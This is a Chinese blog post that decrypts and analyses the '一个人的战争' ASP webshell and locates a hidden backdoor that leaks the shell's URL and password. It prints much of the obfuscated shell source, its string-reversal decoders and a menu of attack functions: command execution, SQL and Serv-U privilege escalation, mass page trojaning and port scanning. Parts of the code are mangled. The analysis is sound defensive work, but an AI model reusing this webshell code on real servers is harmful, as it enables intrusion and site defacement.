• 欢迎访问金刀客博客!
  • 2019,春节快乐!

“一个人的战争”webshell的解密和后门全解析

原创天空 admin 6103次浏览 已收录 6个评论

朋友给了这个shell,回广州了就看看了。这个shell解密清爽,简洁。应当还是花了不少功夫调试。先上图看界面。

同样,这个shell也是VBScript.Encode加密,那么老办法了,JScript的VBscript.Encode 解码器搞定。

<%@ LANGUAGE = VBScript.Encode %>
<% UserPass="jieshao1" Server.ScriptTimeout=999999999 Response.Buffer =true On Error Resume Next ShellName="一个人的战争" Copyright="苹果核小组-黑帽子


sub ShowErr()
If Err Then
RRS”

 ” & Err.DescrIption & “


Err.Clear:Response.Flush
ENd IF
End SUB
Sub RRS(Str)
Response.WRItE(Str)
END Sub
Function rePATH(S)
REpath=REpLAcE(s,”\”,”\\”)
ENd Function
FuNctIon RRepaTh(S)
RREpaTH=rEplAcE(S,”\\”,”\”)
end fUncTion
ShiSan=”╁>retnec/<>a/<回返>‘)(kcab.yrotsih:tpircsavaj’=ferh a<>retnec<>rb<>rb<╁=lRukCAB╋)╁emaNF╁(TseUQer=EMANf╋)╁htaPredloF╁(tSeuqER=htAprEdLOF╋sSApResu=PrevreS╋lRU&)╁tsoh_ptth╁(selbaIRavreVRES.TSeuQeR=UrevreS╋)╁/╁(HTAppAM.REVrES=tOORWWW╋)╁.╁(HTapPAm.RevReS=HTApTooR╋)╁noitcA╁(tSEUQeR=NoITcA╋)╁RDDA_LACOL╁(sElBAIrAVReVrEs.tSEuqer=pirevreS╋)╁LRU╁(selbaiRAvrEVrEs.tSeuQER=lrU" ExeCuTe(ShiSanFun(ShiSan)) dim ShiSan,ShiSanNewstr,ShiSanI Function ShiSanFun(ShiSanObjstr) ShiSanObjstr = Replace(ShiSanObjstr, "╁", """") For ShiSanI = 1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
rRs”
RRS”“&ShellName&” – “&ServerIP&”
RRS”


ShiSan=”╋╋╁>tpircs/<╁sRR╋╁};eurt nruter;)(timbus.mroFbD;╁╁╁╁=LMTHrenni.cba;gp = eulav.egaP.mroFbD;rts = eulav.rtSlqS.mroFbD};eslaf nruter;)╁╁!确正否是句语LQS查检请╁╁(trela{)01retnec/<。句语令命作操LQS入输再库据数接连己认确请>retnec<╁╁=LMTHrenni.cba;╁╁╁╁ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<╁SRR" ExeCuTe(ShiSanFun(ShiSan)) Rrs "
DIm oBt(13,2)
oBt(0,0) = “Scripting.FileSystemObject”
oBt(0,2) = “文件操作组件”
Obt(1,0) = “wscript.shell”
obt(1,2) = “命令行执行组件”
obT(2,0) = “ADOX.Catalog”
ObT(2,2) = “ACCESS建库组件”
oBt(3,0) = “JRO.JetEngine”
obt(3,2) = “ACCESS压缩组件”
OBt(4,0) = “Scripting.Dictionary”
ObT(4,2) = “数据流上传辅助组件”
OBT(5,0) = “Adodb.connection”
oBT(5,2) = “数据库连接组件”
oBT(6,0) = “Adodb.Stream”
oBT(6,2) = “数据流上传组件”
OBT(7,0) = “SoftArtisans.FileUp”
OBT(7,2) = “SA-FileUp 文件上传组件”
obT(8,0) = “LyfUpload.UploadFile”
OBT(8,2) = “刘云峰文件上传组件”
oBT(9,0) = “Persits.Upload.1”
oBt(9,2) = “ASPUpload 文件上传组件”
obT(10,0) = “JMail.SmtpMail”
Obt(10,2) = “JMail 邮件收发组件”
obt(11,0) = “CDONTS.NewMail”
ObT(11,2) = “虚拟SMTP发信组件”
ObT(12,0) = “SmtpMail.SmtpMail.1”
oBT(12,2) = “SmtpMail发信组件”
OBT(13,0) = “Microsoft.XMLHTTP”
OBt(13,2) = “数据传输组件”
fOr I=0 tO 13
Set T=serVER.CreateoBJEcT(obT(I,0))
If -2147221005 <> err Then
ISoBJ=” √”
ELSE
ISobj=” ×”
eRr.cLEar
eNd iF
Set T=nOthInG
oBt(i,1)=IsoBj
neXt
IF foLderPaTH<>“” Then
sEssioN(“FolderPath”)=rRepatH(fOlDeRpATH)
EnD If
If SeSSIoN(“FolderPath”)=”” THEN
fOLDERpAth=RoOTpaTH
SESSIOn(“FolderPath”)=fOLDeRPatH
end IF
fUNcTiOn MAINFORm()
ShiSan=”╋╋╁>elbat/<>rt/<>dt/<╁SRR╋╁>emarfi/<>‘1’=redrobemarf ‘%001’=thgieh ‘%001’=htdiw ‘eliF1wohS=noitcA?’=crs ’emarFeliF’=eman emarfi<╁sRr╋╁>dt<╁srR╋╁>dt/<>emarfi/<>‘0’=redrobemarf ‘%001’=thgieh ‘%001’=htdiw ‘uneMniaM=noitcA?’=crs ‘tfeL’=eman emarfi<╁SRR╋╁>‘071’=htdiw dt<>rt<>rt/<>dt/<>elbat/<>mrof/<>rt/<>dt/<╁SRR╋╁>dt<>dt/<』>a/‘)╁╁\\stnemucoD\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\pmeT\\swodniw\\:c╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\atad\\vrsteni\\23metsys\\SWODNIW\\:c╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\gifnoc\\23metsys\\SWODNIW\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\revreS LQS tfosorciM\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁laeR\\seliF margorP\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\u-vres\\seliF margorP\\:c╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\erehwynAcp\\cetnamyS\\ataD noitacilppA\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\RELCYCER\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/<序程 >b/<→>b< 始开>‘)╁╁\\序程\\单菜」始开「\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁\\sresU llA\\sgnitteS dna stnemucoD\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『』>a/‘)╁╁seliF margorP\\:C╁╁(redloFwohS:tpircsavaj’=ferh a<『:表列录目权提>rt<╁SRR╋╁>‘elddim’=ngilav ‘retnec’=ngila rt< ╁SRR╋ ╁>‘)(daoler.noitacol.emarFeliF’=kcilcno ‘口窗主新刷’=eulav ‘timbus’=epyt tupni< >‘到转’=eulav ‘timbus’=epyt ‘timbuS’=eman tupni<>‘retnec’=ngila ‘041’=htdiw dt<>dt/<╁SRR╋╁>‘╁&)╁htaPredloF╁(noISseS&╁’=eulav ‘%001:htdiw’=elyts ‘htaPredloF’=eman tupni<╁SRR╋╁>dt<>dt/<:栏址地>‘retnec’=ngila ’06’=htdiw dt<>rt<╁sRr╋╁>‘tnerap_’=tegrat ‘╁&lrU&╁’=noitca ‘tsop’=dohtem ‘mrofrdda’=eman mrof<╁srr╋╁>‘%001’=htdiw elbat<╁sRr╋╁>‘2’=napsloc ’03’=thgieh dt<>rt<╁srr╋╁>‘0’=gnicapsllec ‘0’=gniddapllec 0=redrob ‘%001’=thgieh ‘%001’=htdiw elbat<╁SrR╋╁>mrof/<╁sRR╋╁>╁╁emaNF╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SrR╋╁>╁╁noitcA╁╁=eman ╁╁neddih╁╁=epyt tupni<╁SrR╋╁>╁╁emarFeliF╁╁=tegrat ╁╁╁&Lru&╁╁╁=noitca ╁╁tsop╁╁=dohtem ╁╁mrofedih╁╁=eman mrof<╁srR" ExeCuTe(ShiSanFun(ShiSan)) End FuNCtiON funcTiOn maINmenU() RRs"


RrS”


RRS”


iF OBT(0,1)=” ×” Then
RRS”


Else
RRS”


RRS”


RRS”


RRS”


RRS”


RRS”


END if
ShiSan=”╋╋╁>elbat/<╁sRR╋╁>elbat/<>rt/<>dt/p/<争战的人个一>‘der:roloc’=elyts retnec=ngila dt<>rt<╁SRR╋╁>‘%001’=htdiw 1=thgih rh<>retnec<>dt<>rt<╁sRR╋╁>rt/<>dt/<>a/<录登出退●>‘pot_’=tegrat ‘tuogoL=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>vid/<>a/<件文BDM缩压●>‘)╁╁bdMtcapmoC╁╁,╁╁╁&)╁bdm.atad\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<件文BDM立建●>‘)╁╁bdMetaerC╁╁,╁╁╁&)╁bdm.weN\╁&)╁htaPredloF╁(noisseS(htaPeR&╁╁╁(mroFlluF:tpircsavaj’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<库据数接连●>’emarFeliF’=tegrat ‘reganaMbD=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>╁╁’enon’=yalpsid.elyts.2unem╁╁=tuoesuomno ╁╁’enon’=yalpsid;%001:htdiw;xp81:thgieh-enil╁╁=elyts 2unem=di vid<>b/<作操库据数-↓>b<>╁╁”=yalpsid.elyts.2unem╁╁=revoesuomno ’42’=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<令命行执程远IMW●>’emarFeliF’=tegrat ‘IMW=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<权提LQS●>’emarFeliF’=tegrat ‘tiktoorlqS=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<权提U-vreS●>’emarFeliF’=tegrat ‘uvreS=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁srR╋╁>rb<>a/<载下接直●>’emarFeliF’=tegrat ‘daolpU=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<作操表册注●>’emarFeliF’=tegrat ‘GERdaeR=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<器描扫口端●>’emarFeliF’=tegrat ‘troPnacS=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁srR╋╁>rt/<>dt/<>a/<令命dmC行执●>’emarFeliF’=tegrat ‘llehS1dmC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁sRR╋╁>╁╁’enon’=yalpsid.elyts.3unem╁╁=tuoesuomno ╁╁’enon’=yalpsid;%001:htdiw╁╁=elyts 3unem=di vid<>b/<关相权提-↓ >b<>╁╁”=yalpsid.elyts.unem╁╁=revoesuomno 42=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<马木找查●>’emarFeliF’=tegrat ‘PSAkcehC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<马挂分部●>’emarFeliF’=tegrat ‘mglp=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<换替>b<量批●>’emarFeliF’=tegrat ‘3=M&mglpC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<马清>b<量批●>’emarFeliF’=tegrat ‘2=M&mglpC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<>b/<马挂>b<量批●>’emarFeliF’=tegrat ‘1=M&mglpC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>╁╁’enon’=yalpsid.elyts.2unem╁╁=tuoesuomno ╁╁’enon’=yalpsid;%001:htdiw;xp81:thgieh-enil╁╁=elyts 2unem=di vid<>b/<关相马挂-↓ >b<>╁╁”=yalpsid.elyts.unem╁╁=revoesuomno ’42’=thgieh dt<>rt<╁SRR╋╋╁>rt/<>dt/<>a/<测探器务服●>’emarFeliF’=tegrat ‘ofnIlanimreTteG=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<号帐组理管●>’emarFeliF’=tegrat ‘resUnimdA=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<持支件组-息信机主●>’emarFeliF’=tegrat ‘ofnIrevreS=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rt/<>dt/<>a/<号账户用-务服统系●>’emarFeliF’=tegrat ‘esruoC=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>rb<>a/<录目写可看查●>’emarFeliF’=tegrat ‘mroFevirDnacS=noitcA?’=ferh a<>’02’=thgieh dt<>rt<╁SRR╋╁>╁╁’enon’=yalpsid.elyts.4unem╁╁=tuoesuomno ╁╁’enon’=yalpsid;%001:htdiw╁╁=elyts 4unem=di vid<>b/<息信器务服-↓ >b<>╁╁”=yalpsid.elyts.unem╁╁=revoesuomno 42=thgieh dt<>rt<╁SRR" ExeCuTe(ShiSanFun(ShiSan)) Call shellcore End FunCtion ....太长了,kill,kill %>

可以看到许多地方还是被自定义加密了,同样解密函数复制到vb中一一解密出来。这个shell有2个自定义加密,
一个是十三的加密

Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””)
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function

还有另外一个加密

function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> “琳” then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function

这个shell的后门有点意思,他并不是想起他shell一样,登陆即激活后门,他隐藏在ServerInfo()这个函数中,点击“主机信息-组件支持”才会激活这个后门。他的代码如下

Function ServerInfo()
if session(“8cce”) <> “ok” then
response.write “
session(“8cce”)=”ok”
end if
si=”

无FSO/无权限
+>查看硬盘

●站点根目录
●本程序目录
●新建目录
●新建文本
●上传文件
●文件夹打包-解包

sI=Si&”


Si=SI&”


SI=sI&”


SI=sI&”


sI=si&”


Si=si&”


Si=SI&”


fOR i=0 TO 13
SI=SI&”


NEXt
RRs SI
End Function

先执行后门,然后执行真真的组件信息代码。这个后门还是比较隐秘的,shell地址和密码都经过URLEncode加密。
看着这些代码总是感觉这个shell应当是被改造过的了,不是原先作者的原始文件了。
看开头这段代码

Url=REQueSt.sErVErvARiables(“URL”)
Serverip=requESt.sErVeRVArIABlEs(“LOCAL_ADDR”)
AcTIoN=ReQUESt(“Action”)
RooTpATH=SeRveR.mAPpaTH(“.”)
WWWROOt=SErVER.MAppATH(“/”)
ServerU=ReQueST.SERVervaRIables(“http_host”)&URl
ServerP=useRpASs
FOLdErpAth=REqueSt(“FolderPath”)
fNAME=reQUesT(“FName”)
BACkuRl=”

返回

可以看到ServerU是获取这个shell的地址,ServerP是获取shell的密码,但是后门没有调用。并且这个后门没有进行自定义加密。大胆猜测一下,这个shell是先去后门然后重新加后门的了。
附件中为原始加密文件、解密文件和去后门加密文件:
点击下载此文件


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明“一个人的战争”webshell的解密和后门全解析
喜欢 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(6)个小伙伴在吐槽
  1. 顶 刀个在广州哪儿啊
    mayimove2011-01-06 22:24 回复
  2. 多多学习
    admin 于 2010-03-07 04:53 PM 回复
    :-D
    Hackt2010-03-07 09:24 回复
  3. 默认的登陆密码是什么啊?
    admin 于 2009-10-20 07:28 PM 回复
    默认的?看UserPass的值就知道了
    rrrrr2009-10-20 13:41 回复
  4. 那个解密版本注释掉后门就行了,后门是一个script来的,搜索一下就出来了
    dao2009-10-12 00:51 回复
  5. 老大有没有去后门解密版
    admin 于 2009-10-20 07:28 PM 回复
    后门很简单,自己搞定
    哈哈2009-10-11 21:07 回复
  6. 囧 爱死你了
    小毅2009-10-06 22:43 回复
服务器组件信息
服务器名 “&rEqUEsT.ServervaRiAbleS(“SERVER_NAME”)&”
服务器IP 
Si=Si&”
服务器时间 “&NOW&” 
服务器CPU数量 “&REqUESt.sERVeRVaRIABles(“NUMBER_OF_PROCESSORS”)&”
服务器操作系统 “&REquEst.sERvervARIaBleS(“OS”)&”
WEB服务器版本 “&ReQuesT.sERvErvArIaBles(“SERVER_SOFTWARE”)&”
“&oBt(I,0)&”“&oBT(i,1)&”“&obT(i,2)&”